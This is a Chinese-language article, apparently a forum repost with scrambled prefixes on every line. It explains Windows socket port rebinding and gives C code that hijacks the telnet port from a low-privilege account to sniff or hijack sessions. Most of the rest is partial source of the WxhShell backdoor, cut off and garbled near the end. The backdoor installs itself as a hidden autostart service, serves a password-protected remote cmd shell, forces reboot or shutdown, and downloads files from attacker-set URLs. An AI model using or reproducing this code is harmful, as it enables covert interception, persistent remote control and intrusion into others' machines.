在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J@qwz[d i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
J~}i}|YC> LY2QKjgP saddr.sin_family = AF_INET;
>AW&Lfw$ XnB-1{a1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
M%2w[<-8c /%AA\`:6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ee^>Q*wahw QPX3a8w* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gT2k}5d}p [bjP-pX 这意味着什么?意味着可以进行如下的攻击:
@@& ?,3 G|j8iV O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7)*QX,4C \9 k3;zw 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
yGC3B00Z OE2r2ad 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IJBIO>Z/ ^-,@D+eW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
R) J/z <[V1z=Eo/] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v\R-G V1\Rj0#G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c3J12+~; sV`p3L8pl 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
AdWP S6{u(=H #include
1HUe8m[#3 #include
2C#b-Y1~N #include
6<No_x |_ #include
L6J.^tpO DWORD WINAPI ClientThread(LPVOID lpParam);
?6 "B4%7b int main()
"O8iO!: {
Wo6C0Z3g} WORD wVersionRequested;
M7//*Q'? DWORD ret;
;9hS_%ldX4 WSADATA wsaData;
7A{,)Y/w ^ BOOL val;
DlQ*'PX7 SOCKADDR_IN saddr;
Qk].^'\ SOCKADDR_IN scaddr;
dl+:u}9M$ int err;
S(G&{KG SOCKET s;
VF g"AJf SOCKET sc;
"`
kSI&2 int caddsize;
2E@g#:3 HANDLE mt;
(gF{S*` DWORD tid;
:-e[$6}S wVersionRequested = MAKEWORD( 2, 2 );
)CG,Udu err = WSAStartup( wVersionRequested, &wsaData );
\' >d.'d if ( err != 0 ) {
E/3<8cV printf("error!WSAStartup failed!\n");
;f9a0V s return -1;
7loIjT7 }
#~`d
;MC saddr.sin_family = AF_INET;
2t:CK q82yh& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^%}PRl9 y1kI^B saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j&Y{
CFuZ saddr.sin_port = htons(23);
xGt>X77 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%KW NY(m {
NJPp6RZ% printf("error!socket failed!\n");
a5uBQ? return -1;
%)P)Xb }
DcmRvi)&6 val = TRUE;
xs$.EY:k //SO_REUSEADDR选项就是可以实现端口重绑定的
jDCf]NvOPM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"~6IjW*/ {
A9ZK :i7 printf("error!setsockopt failed!\n");
;BW9SqlN return -1;
TS@U0Ror }
(\CH;c-@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p%- m"u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"hLmwz|a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y(h(Z Hzojv<c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
R|R3Ob.e {
-\V;Gw8mD ret=GetLastError();
EL;OYW( printf("error!bind failed!\n");
w!
':Ws return -1;
QA#
7T3| }
gwN
y]! listen(s,2);
N3@gvS while(1)
zd?uMq;w {
Jp +h''t caddsize = sizeof(scaddr);
06>+loBG //接受连接请求
oZ!+._9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ky@DH(^> if(sc!=INVALID_SOCKET)
t[X,m]SX {
i
z
dJ,8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
b0yNc:
if(mt==NULL)
.5+5ca {
ANXN.V printf("Thread Creat Failed!\n");
p@%H.
5&& break;
d2tJ=.DI }
1L<X+,]@ }
{z7kW@c CloseHandle(mt);
`lN
Z|U }
ki9vJ< closesocket(s);
J|N>}di WSACleanup();
Qd"u$~ qC return 0;
UszR. Z }
#4ii!ev DWORD WINAPI ClientThread(LPVOID lpParam)
"Sd2VSLg {
o&Sv2"2 SOCKET ss = (SOCKET)lpParam;
}BLT2]y0 SOCKET sc;
|n\(I$ unsigned char buf[4096];
G?v]|wdI SOCKADDR_IN saddr;
W0KSLxM long num;
bb"x^DtT DWORD val;
ej{7)# DWORD ret;
7A46?kfu //如果是隐藏端口应用的话,可以在此处加一些判断
19;F+%no# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j8{,u6w)- saddr.sin_family = AF_INET;
HD9+4~8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i-31Cxb saddr.sin_port = htons(23);
<!I^ xo[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H&=3rkX {
<"
F|K!Tz printf("error!socket failed!\n");
)GF>]|CG return -1;
Xsv^GmP+ }
pQOT\- bD val = 100;
+B-;.]L
T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6'QlC+E {
6sl2vHzA ret = GetLastError();
L$s;tJ return -1;
WU<C7 }
qlIbnyP< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7="I; {
\[;Qqn0 ret = GetLastError();
lv0}d return -1;
Ikj_
0/%F }
g'{hp: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h?`'%m?_b {
<%Afa# printf("error!socket connect failed!\n");
y|[YEY U) closesocket(sc);
Y#aHGZ$i closesocket(ss);
YztW1GvI return -1;
c;1Xu1 }
)Qx&m} while(1)
X1;ljX {
ZsepTtY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!L\P.FP7b //如果是嗅探内容的话,可以再此处进行内容分析和记录
XoqmT/P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;c~%:| num = recv(ss,buf,4096,0);
fN{JLp if(num>0)
l/o
4bkV send(sc,buf,num,0);
gCc::[}\Y else if(num==0)
FV W&)-I break;
S#l6=zI7^R num = recv(sc,buf,4096,0);
}wR&0<HA if(num>0)
kmfxk/F} send(ss,buf,num,0);
5Bog\m S else if(num==0)
r-k,4Yz break;
DqTp*hI }
E<
Ini'od[ closesocket(ss);
rytaC( closesocket(sc);
@8qo(7<~Q return 0 ;
Wo8.tu-2 }
8ECBi( UO{3vry48 %K|+4ZY3 ==========================================================
0-a[[hL? lH8e?zJ 下边附上一个代码,,WXhSHELL
_|%l) KO e#jkp' ==========================================================
U6Ws#e qD/X% `>Q #include "stdafx.h"
)/2J|LxS |g}~7*+i #include <stdio.h>
js<}>wD7< #include <string.h>
1l*O;J9By #include <windows.h>
yJ!x`RD),w #include <winsock2.h>
R"
'=^ #include <winsvc.h>
zP$Ef7bB #include <urlmon.h>
4|[)D/N b`Agb<x" #pragma comment (lib, "Ws2_32.lib")
`tb@x ^ #pragma comment (lib, "urlmon.lib")
9?~K"+-SI a="\?L5 #define MAX_USER 100 // 最大客户端连接数
C-6m[W8S #define BUF_SOCK 200 // sock buffer
2%F!aeX #define KEY_BUFF 255 // 输入 buffer
_YM]U`* g=)djXW #define REBOOT 0 // 重启
21\t2<" #define SHUTDOWN 1 // 关机
+GqV9x 8 lp=8RbQYC #define DEF_PORT 5000 // 监听端口
g9$P J: Mm'q4DV^ #define REG_LEN 16 // 注册表键长度
XdR^,;pWE #define SVC_LEN 80 // NT服务名长度
nB+ e2e& ~^u#Q\KE" // 从dll定义API
DoYzTSWx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>
l@o\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
eGJ}';O,g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9:l@8^_o typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
O]nZr `mfN3Q*[c // wxhshell配置信息
yj+HU5L4 struct WSCFG {
u(`,7 o " int ws_port; // 监听端口
"ccP,#Y char ws_passstr[REG_LEN]; // 口令
%wD<\ XRM int ws_autoins; // 安装标记, 1=yes 0=no
"7T9d) char ws_regname[REG_LEN]; // 注册表键名
`?PpzDV7Y char ws_svcname[REG_LEN]; // 服务名
/>i~No#Xm char ws_svcdisp[SVC_LEN]; // 服务显示名
\?X'U: char ws_svcdesc[SVC_LEN]; // 服务描述信息
-#ta/*TT: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
V u`O%[Q/ int ws_downexe; // 下载执行标记, 1=yes 0=no
]1XJQW@gF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i1kTP9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ys3&$G oNfNe^/T };
dGrm1w 8+irul{H_ // default Wxhshell configuration
=
+=k(* struct WSCFG wscfg={DEF_PORT,
vV?=r5j "xuhuanlingzhe",
)Z2l*fV 1,
dgIEc]#pH "Wxhshell",
0y"Ra%Y "Wxhshell",
u=5~^ 9 "WxhShell Service",
%Z"I=;=nxI "Wrsky Windows CmdShell Service",
Cy~Pfty "Please Input Your Password: ",
F5#P{zk| 1,
9Fkzt=(E~ "
http://www.wrsky.com/wxhshell.exe",
:&/b}b!)AX "Wxhshell.exe"
*
@QC:1k };
/4R|QD o y'GAc/ // 消息定义模块
AxOn~fZ! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
hu
G]kv3F: char *msg_ws_prompt="\n\r? for help\n\r#>";
1gZW~6a} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
B-<H8[GkG1 char *msg_ws_ext="\n\rExit.";
PJCRvs|X char *msg_ws_end="\n\rQuit.";
V_SZp8 char *msg_ws_boot="\n\rReboot...";
i8tH0w/(M char *msg_ws_poff="\n\rShutdown...";
$g?`yE(K char *msg_ws_down="\n\rSave to ";
Xyrf$R' ^,$>z*WQ. char *msg_ws_err="\n\rErr!";
7|"gMw/ char *msg_ws_ok="\n\rOK!";
Psf'#4g *)2&gQ&%+ char ExeFile[MAX_PATH];
(RL5L=,u int nUser = 0;
2[Ja|W\If HANDLE handles[MAX_USER];
qOV6Kh) int OsIsNt;
]y3'6! KV!!D{VS`@ SERVICE_STATUS serviceStatus;
!H5r+%Oo| SERVICE_STATUS_HANDLE hServiceStatusHandle;
22|a~"Z RK*ZlD< // 函数声明
},2mIit( int Install(void);
M]+FTz int Uninstall(void);
*:q ,G int DownloadFile(char *sURL, SOCKET wsh);
l~/g^lN int Boot(int flag);
U(.3[x void HideProc(void);
ZkyH<Aa int GetOsVer(void);
Felu`@b int Wxhshell(SOCKET wsl);
yH<^txNF void TalkWithClient(void *cs);
Z.Sq5\d int CmdShell(SOCKET sock);
s4$Z.xwr int StartFromService(void);
5df~] -=0Y int StartWxhshell(LPSTR lpCmdLine);
6%K,3R-d K#B)@W?9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Btmv{'T_y@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
S}=euY'i 3MR4yw5v // 数据结构和表定义
+,xl_,Z6 SERVICE_TABLE_ENTRY DispatchTable[] =
.{-&3++WZ {
a8#6}`|C? {wscfg.ws_svcname, NTServiceMain},
hJ+;N {NULL, NULL}
SWX;sM
};
9`/\|t|V ^<0azza/( // 自我安装
Lh%>>
Ht{ int Install(void)
}*2q7K2bj {
piRP2Lbm* char svExeFile[MAX_PATH];
p&nIUx" HKEY key;
g,5r)FU` strcpy(svExeFile,ExeFile);
qL6Rs u0;FQr2 // 如果是win9x系统,修改注册表设为自启动
xZ*.@Pkr if(!OsIsNt) {
7R 40t3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tFvc~zz9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zhl}X!:c?\ RegCloseKey(key);
\\F@_nB,b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a'LM6A8~x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L6^Qn%:OTd RegCloseKey(key);
edt(Zzk@3- return 0;
,cR=W|6cQm }
A6APU><dm^ }
tN'-4<+ }
p/|":(U else {
Z|YiYQl[) A9_)} // 如果是NT以上系统,安装为系统服务
3Z* ' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NR8YVO)5$ if (schSCManager!=0)
TSQ/{=r {
`TM[7' SC_HANDLE schService = CreateService
:nuMakZZ (
niZ/yW{w schSCManager,
=?U"#a wscfg.ws_svcname,
J?\z{ ;qa wscfg.ws_svcdisp,
Rc2| o.'y SERVICE_ALL_ACCESS,
|OXufV?I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#>m#i1Nu SERVICE_AUTO_START,
*5DOTWos SERVICE_ERROR_NORMAL,
7-nz'-' svExeFile,
g?qh NULL,
x)M=_u2 _ NULL,
4{Vw30DZ NULL,
nRpZ;X)'. NULL,
M@e&uz!Rx NULL
\de824 );
*R17 KMS if (schService!=0)
o#X|4bES {
4%Q8>mEvT CloseServiceHandle(schService);
p?OwcMT]M CloseServiceHandle(schSCManager);
8iTX}$t\{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\Uun2.K strcat(svExeFile,wscfg.ws_svcname);
H\tz"<*`` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RW!D!~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gn&jNuGg RegCloseKey(key);
Dp
0
return 0;
=;.#Bds }
@ \ip?= }
c?i=6CdD' CloseServiceHandle(schSCManager);
5b9v`6Kq }
r40#-A$ }
vpOn0([hS IxwOzpr return 1;
\ /C-e }
C<CE!|sfr %C*oy$. // 自我卸载
/esSM~*H int Uninstall(void)
0 r=:l/Pz {
0Zkb}F2- HKEY key;
* iW>i^
KQ<pQkhv if(!OsIsNt) {
<lh+mrXm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3 }Z[d RegDeleteValue(key,wscfg.ws_regname);
g+gHIb7{ RegCloseKey(key);
_K{hq<g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ai% fj* RegDeleteValue(key,wscfg.ws_regname);
-[?q?w!? RegCloseKey(key);
T_CYSS|fX return 0;
D\8 ~3S'd }
uGl+"/uDu }
)P\Vd # }
L-[<C/`;t else {
TCJH^gDt 2`,{IHu*! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9,y*kC if (schSCManager!=0)
`As.1@ {
AZ cWf8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{q%&~ if (schService!=0)
RrSo`q-h+ {
RWf4Wh?d if(DeleteService(schService)!=0) {
4`uI)N(}* CloseServiceHandle(schService);
-?n|kSHX CloseServiceHandle(schSCManager);
ZK4/o return 0;
5%C-eB }
U]Q2EL\%
CloseServiceHandle(schService);
31-%IkX+k }
Kxb_9y0`r CloseServiceHandle(schSCManager);
-8&M^- }
Kr`Cr5v }
C#X|U2$ _O~DJ" return 1;
G&MI@Hq }
-#=v~vE <T JUKznO // 从指定url下载文件
1Iu^+ int DownloadFile(char *sURL, SOCKET wsh)
eZs34${fN {
rmutw~nHD HRESULT hr;
=rcqYPul0 char seps[]= "/";
zuR!,-W char *token;
k_.%(ZE char *file;
pA9^-:\* char myURL[MAX_PATH];
+4EQ9 - char myFILE[MAX_PATH];
&^^zm9{ /qA\|'~ strcpy(myURL,sURL);
wN8-Me token=strtok(myURL,seps);
%g}ri8 while(token!=NULL)
:Zl@4} {
0 3kzS ]g file=token;
ax&, token=strtok(NULL,seps);
GBIa Ul }
,
}O>,AU w=I8f}( GetCurrentDirectory(MAX_PATH,myFILE);
x\!Q[ strcat(myFILE, "\\");
.K
I6<k/ strcat(myFILE, file);
v2Lx4:dzi send(wsh,myFILE,strlen(myFILE),0);
VTM*=5|c send(wsh,"...",3,0);
c*fMWtPp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g7Xjo ) if(hr==S_OK)
F@4TD]E0^ return 0;
j%_{tB else
yiourR)H< return 1;
`;X~$uS rf}@16O$' }
\W%Aeg*c {lNvKm)w // 系统电源模块
\&[Jtv * int Boot(int flag)
o p{DPUO0 {
idG}p+(; HANDLE hToken;
">-J+ST% TOKEN_PRIVILEGES tkp;
Dm^Bk?#( 2=?:(e9 if(OsIsNt) {
c;RL<83: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_BC%98:WP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>VnBWa<j3 tkp.PrivilegeCount = 1;
06)B< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VaV(+X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
rzl0*CR if(flag==REBOOT) {
__B`0t if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
aRt`IcZYz return 0;
\Uz7ar#, }
[m*E[0Hu else {
NZ{)&ObBRt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`jI$>{oa return 0;
s|cL
mL[ }
VLL CdZ% }
w#-J ?/m else {
V"A*k^} if(flag==REBOOT) {
-g5o+RT@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b$*1!a return 0;
k Q
Sx65 }
cN?}s0 else {
$;k2b4u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t_Q\uo} return 0;
(4GDh% }
z\kiYQ6kA }
OV.f+_LS %}`zq8Q; return 1;
btG+Ak+K* }
$'I-z.G V '{-7%>`bn // win9x进程隐藏模块
[$x&J6jF. void HideProc(void)
K{vn[} {
#a$k3C 'zUWO_( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
F5+)=P# if ( hKernel != NULL )
+[lv
`tr
{
%fF0<c^-U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
CGp7 Tx # ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
DwNEqHi FreeLibrary(hKernel);
@OB7TI_/
}
}G3:QD Wcf;ZX return;
1SwKd*aRR? }
}2!=1|} qX%oLa // 获取操作系统版本
0rA&Q0 int GetOsVer(void)
v>!tws5e {
gK#G8V-, OSVERSIONINFO winfo;
YD@n8?~$$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-ld1o+'`v! GetVersionEx(&winfo);
>u0B ~9_E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P2t9RCH return 1;
>OotgJnhC else
ETMF.-P return 0;
VZ1u/O?ub }
!zR1CM $:u5XJx // 客户端句柄模块
~2L]K4Z^ int Wxhshell(SOCKET wsl)
I$Ra*r {
ui!MQk+D9 SOCKET wsh;
_9B ^@~ struct sockaddr_in client;
J};=)xLX; DWORD myID;
L
Rn) Q^@z]Sc[ while(nUser<MAX_USER)
lWRRB&8 {
H]<@\g*l@P int nSize=sizeof(client);
o'*7I|7a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
nf,u'}psdJ if(wsh==INVALID_SOCKET) return 1;
}}q_QD_ [6}>? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Wu|ANc if(handles[nUser]==0)
6_zyPh closesocket(wsh);
6 66f;h else
H){lXR/#u nUser++;
lJ$j[Y }
ocDAg<wo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lk`,s H(,D5y`k1 return 0;
(yxHXO9N }
K%iA-h .M zAkZ= // 关闭 socket
O=2SDuBZ void CloseIt(SOCKET wsh)
hUO&rov3@ {
E3P2 closesocket(wsh);
u/S{^2`b nUser--;
[zMnlO ExitThread(0);
{j!+\neL }
*Z:'jV< ?X5Y8n]y\h // 客户端请求句柄
DSX.84 void TalkWithClient(void *cs)
.QVZ! {
^oYudb^% %{*)-_M SOCKET wsh=(SOCKET)cs;
IqrT@jgN- char pwd[SVC_LEN];
^p}|""\j char cmd[KEY_BUFF];
75?z" i char chr[1];
0<'Q;'2* L int i,j;
4k4 d% ' En|-M5 while (nUser < MAX_USER) {
\Jy/
a- 6xq/ if(wscfg.ws_passstr) {
!gbPxfH:6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4_&+]S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7 S6@[-E //ZeroMemory(pwd,KEY_BUFF);
op5G}QZ i=0;
\:vHB! 2E while(i<SVC_LEN) {
(]gd$BgD TcEvUZJ" // 设置超时
wR]jJbF fd_set FdRead;
pS6p}S=1] struct timeval TimeOut;
:Y)jf FD_ZERO(&FdRead);
#|R#/Yc@Bv FD_SET(wsh,&FdRead);
{2,vxGi TimeOut.tv_sec=8;
D6L5X/# TimeOut.tv_usec=0;
,C97|6rC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
g*]/HS>e<G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*3Qwmom PqDffZ^z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:)=>,XwL8 pwd
=chr[0]; 2uZ4$_
if(chr[0]==0xd || chr[0]==0xa) { rU!QXg]uD
pwd=0; )F,IPAA#
break; ]/ffA|"U`
} lC8Z@wkjO
i++; OAw- -rl
} oo4aw1d
p'f8?jt
// 如果是非法用户,关闭 socket [@;q#.}Z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /9@[gv
A
} w 8BSY
)Bw}T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~;S
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iKM!>Fi
+,|aIF
while(1) { Qo$j'|lD
*'to#_n&W
ZeroMemory(cmd,KEY_BUFF); :tf'Gw6v
zN3b`K. i
// 自动支持客户端 telnet标准 +S6(Fvp
j=0; R(AS$<p{!>
while(j<KEY_BUFF) { !*G%vOa
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fK{m7?V
cmd[j]=chr[0]; wG@f~$
if(chr[0]==0xa || chr[0]==0xd) { 'B\7P*L"p
cmd[j]=0; VSjt|F)t
break; i@m@]-2
} 'zhv#&O
j++; L.?QZN%cN
} Lvd es.0|
c]%~X&Tg`
// 下载文件 ko{7^]gR
if(strstr(cmd,"http://")) { zQ~ax!}R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Cb;=:3G
if(DownloadFile(cmd,wsh)) 0PD=/fh[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SceK$
else 363KU@`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hN^,'O
} )_olJCdaP^
else { y|/[;
%jJ|4\
switch(cmd[0]) { Ji4JP0
gY&WH9sp?9
// 帮助 bRD-[)
case '?': { +L|x^B3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cq0-Dd9^&
break; ShesJj
} C2{*m{
D
// 安装 7epil
case 'i': { UvR.?js(O
if(Install()) Y'<wE2ZL)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AO238RC!:
else <?>tjCg'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )G),iy
break; v{SZ(;
} GTM@9^
// 卸载 (q@%eor&}
case 'r': { f?$yxMw:@
if(Uninstall()) 2<9&OL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OS-k_l L
else "U!Vdt2vp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2wu\.{6Zp
break; :{
iK 5
} tA]u=-_h
// 显示 wxhshell 所在路径 6l:uQz9
case 'p': { PeIKx$$Kl{
char svExeFile[MAX_PATH]; @?>5~
strcpy(svExeFile,"\n\r"); *cZ7?
strcat(svExeFile,ExeFile); b;FaTm@
send(wsh,svExeFile,strlen(svExeFile),0); 8DX5bB
break; ]ddH>y&o
} wrc1N?[bn
// 重启 RxS{
case 'b': { T"t.t%(8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >{l
b|Vx
if(Boot(REBOOT)) O0;mXH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HQ wrb HS
else { bI^F(
closesocket(wsh); R;pIi/yDRe
ExitThread(0); U&43/;<,
} zJ$U5r/u
break; -BSO$'{7
} wwv+s ~(0
// 关机 /E3~z0
case 'd': { g6+5uvpd
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %mIdQQ,
if(Boot(SHUTDOWN)) "&{.g1i9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }u1h6rd `
else { RP^vx`9h
closesocket(wsh); c[T@lz(!
ExitThread(0); &-w. rF@
} scTt53v^
break; pFV~1W:
} |Qb@.
// 获取shell }#2(WHf=<
case 's': { GHo
mk##0E
CmdShell(wsh); OG_v[ C5
closesocket(wsh); I0><IaFy
ExitThread(0); ?*[35XUd
break; .;S1HOHz4
} x6$3KDQm
// 退出 2 <@g *
case 'x': { m>3\1`ZF~<
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -%Ce
CloseIt(wsh); d'H gek{T
break; K`j:F>b
} =(Y0wZP|
// 离开 g3yZi7b5FU
case 'q': { CJDNS21m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )=bW\=[8
closesocket(wsh); keG\-f
WSACleanup(); E$&bl
exit(1); ]"?<y s
break; /{/mwS"W
} T\ukJ25!
} 9Zmq7a
E
} 8H T3C\$s
3lEP:Jp
// 提示信息 RTDplv; ]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FQE(qltf,
} .TDg`O24c,
} 'cAS>s"$}V
'H4?V
return; .<xD'54
} @?;)x&<8?3
:XoR~syT
// shell模块句柄 )O$S3ojZ
int CmdShell(SOCKET sock) ,7DyTeMpN
{ WS?Y8~+{5
STARTUPINFO si; 8<32(D{
ZeroMemory(&si,sizeof(si)); }n#$p{e$i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jGo\_O<of
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t<$J
3h/"
PROCESS_INFORMATION ProcessInfo; }RY Pr
char cmdline[]="cmd"; PnB2a'(^@?
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <^'IC9D]
return 0; f^F"e'1
} -w8?Ur1x:
L/%{,7l<^?
// 自身启动模式 Q`4Ia<5B
int StartFromService(void) O*x~a;?G
{ rOj(THoc{
typedef struct Dkh=(+> <
{ h0$ \JXk
DWORD ExitStatus; Ke]'RfO\
